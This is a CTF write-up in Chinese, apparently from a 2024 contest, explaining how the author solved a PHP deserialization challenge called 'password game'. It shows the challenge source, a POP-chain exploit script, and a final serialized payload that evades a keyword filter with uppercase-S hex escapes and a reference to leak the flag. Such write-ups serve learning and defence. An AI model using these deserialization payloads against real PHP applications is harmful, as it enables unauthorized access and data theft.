proxy那题是队友写的我就不记录了,不知道他后面会不会更新:https://blog.hayneschen.top/

主要想记录password game这题 不听php课的每个人都会受到应有的惩罚

前面的游戏过程很简单,直接从拿到源码开始看

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST['password']));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

比赛的时候乍一看感觉挺懵的,和传统的反序化掉用都不太一样,这里先不管反序化时的filter,先来看一下类

按照我的习惯,先找终点然后再逆推到入口,很明显这里的终点有两个可能,一个是guest下的_call触发后可以直接拿到flag,另一个是想办法拿到root下在_get触发后被赋值后的$value。这里先来想一想第一个终点有没有触发的可能

第一种可能

触发条件是要通过这个if,控制username是可以的,但看了一下其他类发现能拿md5($GLOBALS[“flag”])的只有user下的_invoke。但这里要想触发invoke好像找不到什么合适的地方,因此第一种可能在到儿就断掉了,换一种

第二种可能

主要目的就是要把root中的value带出来,输出的地方可以在user的__destruct里进行。而要满足这里的if可以直接给root赋值,赋值完再构造一个test值用来存放new user,new user的username再用来存放这个value。也就是说,第二种可能其实都不需要用到guest类。exp如下

$obj = new root();
$obj -> username = 'admin';
$obj -> value = '2024qwb';
$obj -> test = new user();
$obj -> test -> username = &$obj -> value; 
echo serialize($obj);
//O:4:"root":3:{s:8:"username";s:5:"admin";s:5:"value";s:7:"2024qwb";s:4:"test";O:4:"user":2:{s:8:"username";R:3;s:8:"password";N;}}

//最终payload: O:4:"root":3:{s:8:"username";S:5:"\61dmin";s:5:"value";S:7:"202\34qwb";s:4:"test";O:4:"user":2:{s:8:"username";R:3;s:8:"password";N;}}

这里再说三个很细节的地方。

**首先**是类似\61这样的16进制解析,只要把原本的s改为S,就能在反序化时被当作16进制进行解析。就能绕过filter的过滤

**其次**是&这个符号。之前写反序化没用到过,这次看了其他人exp学习了一下。其实就是和C语言里差不多一样的指针,看下面这个例子

$a=2
$b=&$a
$a=$a+2
echo $b;//输出4

因此exp中使用到这个符号的目的就是为了捕捉root中value被赋值flag后的值,最后才能输出flag而不是'2024qwb'

而在生成的exp中,也可以发现反序化后的数据里有个很少见的类型码“R”,其实就是使用&动态调用变量的意思。具体为什么可以看这篇

**最后**是guest里__tostring中的$value();。它和$this->value();是两个完全不同并且八杆子打不着边的东西,这里的$value读取的是__tostring函数里的变量,而$this->value才会读取类中的public $value;。而__tostring并没有给这个变量赋值,因此是执行不了的